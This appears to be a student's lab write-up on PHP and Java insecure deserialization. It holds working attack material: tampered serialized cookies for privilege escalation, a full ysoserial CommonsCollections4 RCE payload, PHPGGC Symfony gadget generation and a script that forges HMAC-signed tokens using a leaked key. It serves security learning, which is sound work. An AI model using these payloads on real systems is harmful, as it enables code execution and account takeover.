# Insecure Deserialization
###### `php` `java` `web` `insecure deserialization`
[TOC]
[]
# Serialization

Date can be serialized in two types of formats:
- binary serialization format.
- string-based formats.
# Serialization Vs deserialzation

Serialization.php
```php
<?php
class user {
public $userName;
public $password;
public function __construct($userName,$password)
{
$this->userName = $userName;
$this->password = $password;
}
}
$user1 = new user("meowhecker","meoweckerPassword");
//echo $user1;
//Fatal error: Uncaught Error: Object of class user could not be converted to string
//serialized "object" to "string"
$serializeUser = serialize($user1);
echo $serializeUser;
echo "<br>";
$deserializedUser = unserialize($serializeUser);
echo "Persisted Property<br>";
echo "Deserialized User: Name = " . $deserializedUser->userName . ", Password = " . $deserializedUser->password;
?>
```
Result:

Serialization can convert the object into string, making it suitable for storage in a database or inter-process memory and file.
`http_build_query`
php construct query Method:
convert 'associate Array ' into 'http query form'
```
data=serialized_data_here
```
```
file_get_contents('php://input') 这一行是 PHP 代码,它用于从标准输入流中获取数据。
```
## serialClient.php
```php
<?php
class user {
public $userName;
public $password;
public function __construct($userName,$password)
{
$this->userName = $userName;
$this->password = $password;
}
}
$user1 = new user("meowhecker","meoweckerPassword");
$serializedData = serialize($user1);
echo "initial:";
echo $serializedData;
echo "<br>";
// HTTP Network transfer
$options = [
'http'=>[
'method'=>'POST',
'header'=>'Content-type: application/x-www-form-urlencoded',
'content'=>$serializedData
]
];
$context = stream_context_create($options);
$response = file_get_contents('http://127.0.0.1/insecurityDeserialization/serialServer.php', false, $context);
echo "Response:";
echo $response."<br>";
$deserializedData = unserialize($serializedData);
echo $deserializedData->userName."\n";
echo $deserializedData->password;
?>
```
## serialiServer.php
```php
<?php
class user {
public $userName;
public $password;
public function __construct($userName,$password)
{
$this->userName = $userName;
$this->password = $password;
}
}
//capture reqeust
$rawData = file_get_contents('php://input');
// echo $rawData; //(urlEncoded)
$decodedRawData = urldecode($rawData);
echo $decodedRawData;
echo "<br>";
$deserializeData = unserialize($decodedRawData);
//Check if unserialize was successful
if ($deserializeData !== false){
echo "unserialize was successful";
echo "User Name: " . $deserializeData->userName . "\n";
echo "Password: " . $deserializeData->password;
$deserializeData->userName="meowHacker";
}else{
// Failed to unserialize
echo "Failed to unserialize the data.";
}
?>
```
Result

# Insecure Deserialization
Insecure Deserialization occur when user-controllable data is deserialized by a website
Attacker can manipulate the serialized data to inject malicious serial objects into the application code.
==Insecurity Deserialization is sometime knows as an 'object injection " vulnerability==
## Arise
"Insecure deserialization occurs during the process of deserializing user-controllable data
Deserialized objects often assumed to be trusted.
# Impact
it allow attack to reuse existing application code
- Remote code executing
- Privilege escalation
- Arbitrary file access
- Denial-of-service
# Identity Insecurity Deserialization
Burp Suite Professional can use Burp Scanner to automatically identify serialized message content within HTTP messages.
## PHP serialization format
object
```
$user->name = "carlos";
$user->isLoggedIn = true;
```
serialized
```
`O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
```
b:1->bool = true
## Java serialization format
Java, use binary serialization formats.
# Manipulating serialized objects
Step1
Analysis serialized data to identity and edit interesting attribute value
Step 2
Pass the malicious object into the website via its deserialization process.
method 1
Directory edit its byte stream form
method 2 (more easy[binary-base])
write a short script to create and serialize object yourself.
Burp Suite BApp store:
Hackvertor extension: automatically serialize the data to binary serialized form
## Modifying object attribute
Sample (Vulnerable)
```
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
```
backend-Code
```
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
```
If developer use the current cookie for verification
, we could modify b:0 to b:1, if the server didn't whether serialize have been modified, it can lead to an easy privilege escalation
## LAB-Modify serialized objects.
==Impact==
Post-auth:privilege escalation!!
==Vulnerable==
- cookie can be decode by Base64 and modify
- Insecure deserialization
==Analysis==
GET /my-account?id=wiener HTTP/2
cookie(it can be parse by base64 decode)

```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
```
we could try modify b:0 to b:1 to privilege escalation
```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
```

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
```





## Modifying Data Type
In addition to modify the attribute of object we also can change the data type
PHP language has vulnerabilities related logic determination, especially when using comparison operator
Sample
```
5(number) == "5"(string)
```
the result of comparison is true, which my lead to unexpected behavior!!
Flaw login Implement
```php
<?php
class user {
public $userName;
public $password;
public function __construct($userName,$password)
{
$this->userName = $userName;
$this->password = $password;
}
}
if (isset($_COOKIE['login'])){
try {
$login = unserialize($_COOKIE['login']);
// pass the login validation
}catch (error){
}
}
if ($login['userName'] == $valiUserName && $login['password'] == $valiPassword) {
$userObj = new user($valiUserName,$valiPassword);
setcookie('login',serialize($userObj),time()+3600);
//Redirect
header('Location: meowhecker.php');
exit;
}else {
$loginError = 'Invalid username or password';
}
?>
```

==Note==
If we modify the serialize objects
Remember to update any type labels and length indicators in the serialized data.
Otherwise, the serialize object will corrupted
## LAB-Modifying serialized data type
vulnerable functionality
- Serialization-base session

-> Access_token
if we can pass Access_token determine is true.
```
if ( validatedtoken == $_COOKIE['session'].access_token){
// do someting
}
```
session(base64 decode)
```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"w6m729xaanosyp9cs54slihax380bumk";}
```
we can attempt to modify the access_token to integer
Serialize Script
```php
<?php
class User {
public $username;
public $access_token;
public function __construct($username,$access_token)
{
$this->username = $username;
$this->access_token = $access_token;
}
}
$User = new User("wiener",0);
echo serialize(($User));
?>
```
```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}
```
base64 Encoding
```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtpOjA7fQ==
```

access_token = 0 can pass the login logic!!
We could use 'administrator' Account to privilege escalation !!
```php=
<?php
class User {
public $username;
public $access_token;
public function __construct($username,$access_token)
{
$this->username = $username;
$this->access_token = $access_token;
}
}
$User = new User("administrator",0);
echo serialize(($User));
?>
```

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9
```


Delete the User


---
## Using application function
Serialized data potentially be unserialized and passed to function to do something such as deleting the user
```php=
<?php
class User {
public $id;
public $username;
public $email;
public function __construct($id,$username,$email)
{
$this->id = $id;
$this->username = $username;
$this->email = $email;
}
public function deleteUser(){
echo "Deleting user: " . $this->username;
// delete User Code
}
}
$serializedUser = $_COOKIE['session'];
$user = unserialize($serializedUser);
$user->deleteUser();
?>
```
Vulnerable code allows an untrusted serialized object to be deserialized and invoke a delete function.
## LAB-Using application functionality to exploit insecure deserialized.
### Goal
Delete `morale.txt` file from Carlos
modify the payload
```
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"wb5duf0unp6g7q4al6mvq7xm9l4jojdc";s:11:"avatar_link";s:18:"/home/carlos/morale.txt";}
```
Image:


Capture the Delete post Request


```php
<?php
class User {
public $username;
public $access_token;
public $avatar_link;
public function __construct($username,$access_token,$avatar_link)
{
$this->username = $username;
$this->access_token = $access_token;
$this->avatar_link = $avatar_link;
}
}
$User = new User("wiener","k8mijlw638hqzbv4sqqgg1m2tyi4etg6","/home/carlos/morale.txt");
$serialUser = serialize(($User));
echo $serialUser,"<br>";
$SerialBase64User = base64_encode($serialUser);
echo $SerialBase64User;
?>
```
serialized object(base64 encoding)
```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJrOG1pamx3NjM4aHF6YnY0c3FxZ2cxbTJ0eWk0ZXRnNiI7czoxMToiYXZhdGFyX2xpbmsiO3M6MjM6Ii9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9
```


---
## Magic methods
Magic methods are special methods that you do not have to explicitly invoke
e.g. constructor methods
Magic methods usually using the double_underscore surround or prefixing with method name.
php
```php
__constructor()
```
python
```
__init__
```
Constructor method which is invoked, when the object of class is instantiated.
If attackers can control serialized data
, they can utilize magic methods(under certain conditions) to automatically invoke restricted
methods.
---
PHP
when php unserializes the data the "\__wakeup()\" magic function will automatically be invoke
Serialize() method
Sleep and wakeup "methods"
These methods are invoked or executed when we want to deal with serialization and deserialization of objects during runtime to store or save the object information in string format
---
```php=
<?php
class userObject{
public $name;
public function __construct($name)
{
$this->name = $name;
}
public function __sleep()
{
// sleep method -> prisist the data when serialize or unserialized
return ["name"];
}
public function __wakeup()
{
echo "Wakeup function start:". $this->name . "</br>";
}
}
//Serialize object
$user = new userObject("meowhecker");
$userSerialize = serialize($user);
echo $userSerialize;
echo "</br>";
//Unserialize object
$userDeSerialize = unserialize($userSerialize);
echo $userDeSerialize->name;
?>
```

```
O:10:"userObject":1:{s:4:"name";s:10:"meowhecker";}
Wakeup function start:meowhecker
meowhecker
```
---
Java serialize (Skip)
---
## Injecting Arbitrary Object
In addition, when editing existing objects on the website, we could inject arbitrary objects
Manipulating serialized data can have an impact on two aspects:
1. During the unserialization of objects.
2. After the unserialization of objects.
Deserialization methods usually didn't check the serialize data which was modified.
we could pass the class of object that is available on the website, because unserialize method didn't check it
We pass in arbitrary object will be instantiate.
if we can access the source code, we can identify all available objects and potentially use them to write our exploits.
## LAB- Arbitrary object injection in php
PHP __destruct method
```php
<?php
class user{
public function __construct()
{
echo "Object created";
}
public function someTaskPerform(){
echo "do some tasks";
}
public function __destruct()
{
echo "Object Destruct";
}
}
$userObject = new user;
$userSerialize = serialize($userObject);
echo $userSerialize;
?>
```


```php=
<?php
class user{
private $filePath;
public function __construct($filePath)
{
$this->filePath = $filePath;
echo "Object created </br>";
}
public function someTaskPerform(){
echo "do some tasks </br>";
}
public function __destruct()
{
$currentDirectory = getcwd();
echo "Current Directory: " . $currentDirectory . "<br>";
echo $this->filePath;
unlink($this->filePath);
}
}
$deleteFilePath = "C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\magicFunction\meowhecker.txt";
$userObject = new user($deleteFilePath);
// $userSerialize = serialize($userObject);
// echo $userSerialize;
?>
```
__destruct()
Directory -> C://Xampp
Result:
```
Object created
Current Directory: C:\xampp
C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\magicFunction\meowhecker.txt
```
unlink -> delete the file
---
Analysis:
(site map)
the website include the library


if we append the "~" after the request path we might be able to access the source code and analysis it on burpsuite repeater.

---
Cookie (Can be decode by base64)

```
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lpm59lw04sv0d8eksscdaq4q8w3nnz0w";}
```
```php
<?php
class CustomTemplate{
public $lock_file_path;
public function __construct($lock_file_path)
{
$this->lock_file_path= $lock_file_path;
}
}
$injectObj = new CustomTemplate("/home/carlos/morale.txt");
$serailObj = serialize($injectObj);
echo $serailObj."<br>";
$injectSerialObj64 = base64_encode($serailObj);
echo $injectSerialObj64;
?>
```



The `__destruct()` magic method is automatically invoked and will delete Carlos's file.
# Gadget chains
A gadget is a snippet of code exits in application that can help the Hacker to archive particular goal.
Sometime, a single gadget may not directory do harmful acntion whit our input, In such case,we can attempt to connect the output of one gadget to the input of another gadget and chain them together.Eventually we can direct the payload to danger sink to archive RCE or more significant damage.
==kick-off gadget==
This is typically done using a magic method that is invoked during deserialization,
## Pre-build gadget chains
To manually identify and create a gadget chain, access to the source code is essential. Without the source code, it becomes exceedingly difficult, if not impossible, to construct such a chain by yourself.
if a library have pre-discover gadget chain.
we can attempt use them to test websites that include include the vulnerable library.
#### ysoserial (java
## LAB Exploit java deserializatoin with apache Commons
```
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
```

```
root@ip-172-31-37-135:/home/ubunjava -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
```
-w - -> not "\n"
Java payload(RCE)
```
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqrK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABt5c29zZXJpYWwvUHduZXI4MzkzMDI4MDAzNDMBAB1MeXNvc2VyaWFsL1B3bmVyODM5MzAyODAwMzQzOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AHwAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABcQB+ACl4
```
URL encode (special characters)


---
### ysoserial(java tools)
Github
https://github.com/frohoff/ysoserial
Not all payloads are capable of triggering the remote code execution.
#### ==URLDNS chain==
the URLDNS chain can trigger DNS lookup that interact with our C2 server ==(Importantly, it doesn't depend on a specific library.)==
if we know it java version in use, URLDNS chain becomes one of the most universal application gadget chain for identifying the insecure inserialization vulnerability.
==If you spot a serialized object in the traffic==
we can use gadget chain to generate an object that trigger the DNS interaction with Burp Suite Collaborator Server.
#### ==JRMPClient
With the JRMPClient gadget chin, we can maker the server establish the TCP connection to our supplied IP address(using RAW Ip address)
This gadget chain is useful in particular the network environment where outbound connection was be limited.(DNS lookup doesn't work!!)
## PHP generic gadget chains(PHPGGC)
Proof of concept tools (verify the vulnerability is exits)
## LAB-Exploit PHP deserialization with a pre-built gadget chain

```
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJmaTEwY2NydzVwZmFjd3RkY3JxM3B6ODdrbzBqYWZlNiI7fQ==","sig_hmac_sha1":"543e7e1ef3ec472fa49391e93906458398e72a70"}
```
---
Analysis
### PHP framework version (Error-Base)

FrameWork -> Symfony 4.3.6
### phpinfo.php (information leak)



key
```
iuaqnabgjtoa6mbmgwr0yko1jc9vo6cc
```
UsuallyL
Signature = secretKey + Token (which can be replaced with a PHPGGC payload) !!
Analysis: "sig_hmac_sha1"
"sig_hmac_sha1":"543e7e1ef3ec472fa49391e93906458398e72a70"
---
### Analysis signature Function
UsuallyL
Signature = secretKey + Token (which can be replaced with a PHPGGC payload) !!
Signature(sha1) (Proof of concept)
```php
<?php
//Store on php service
$secrekey = "meowheckerKey";
//Hash data (payload)
$data = "meowhecker";
//hash_hmac
$hash1 = hash_hmac('sha1',$data,$secrekey); //順序有差
$hash2 = hash_hmac('sha1',$secrekey,$data);
echo "Generated Hash1:" . $hash1. "\n";
echo "Generated Hash2:" . $hash2;
?>
```

We have to find the server private key to break the sig_hmac_sh1 and inject RCE (gadget object)
### PHPGGC (Pre - gadget tools)
https://github.com/ambionics/phpggc
gadget (payload) RCE
Search Gadget chain

```
ubuntu@ip-172-31-37-135:~/phpggc$ ./phpggc -l | grep Symfony
Symfony/FD1 v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6 File delete __destruct
Symfony/FW1 2.5.2 File write DebugImport *
Symfony/FW2 3.4 File write __destruct
Symfony/RCE1 v3.1.0 <= v3.4.34 RCE: Command __destruct *
Symfony/RCE2 2.3.42 < 2.6 RCE: PHP Code __destruct *
Symfony/RCE3 2.6 <= 2.8.32 RCE: PHP Code __destruct *
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE: Command __destruct *
Symfony/RCE5 5.2.* RCE: Command __destruct
Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE: Command __destruct *
Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE: Command __destruct
Symfony/RCE8 v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1 RCE: Command __destruct
Symfony/RCE9 2.6.0 <= 4.4.18 RCE: Command __destruct
Symfony/RCE10 2.0.4 <= 5.4.24 (all) RCE: Command __toString
Symfony/RCE11 2.0.4 <= 5.4.24 (all) RCE: Command __destruct
```
```
Symfony/RCE4 4.2.0-11
```
the website php framework 4.2.0 < 4.2.6 < 4.2.11
Generate RCE payload
```
ubuntu@ip-172-31-37-135:~/phpggc$ ./phpggc Symfony/RCE4 exec "rm /home/carlos/morale.txt" | base64 -w 0
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```
### Write Exploit Script
```php
<?php
$secrekey = "iuaqnabgjtoa6mbmgwr0yko1jc9vo6cc";
$payloadRCE = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$object = new stdClass();
// there toke have to replace to PHPGCC generate paylaod
$object->token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";
$object->sig_hmac_sha1 = hash_hmac('sha1',$payloadRCE,$secrekey);
$objectJson = json_encode($object);
echo $objectJson . "\n"; // 转换为JSON格式的字符串
$objectUrlEncode = urlencode($objectJson);
echo $objectUrlEncode;
?>
```
```
PS C:\Users\USER\Desktop\CSIE\WebSecurity\insecurityDeserialization\phpGGC> php .\exploit1.php
